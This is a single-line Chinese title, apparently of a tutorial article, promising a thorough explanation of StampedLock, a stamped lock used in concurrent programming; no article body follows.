一文彻底理解并发编程中非常重要的票据锁——StampedLock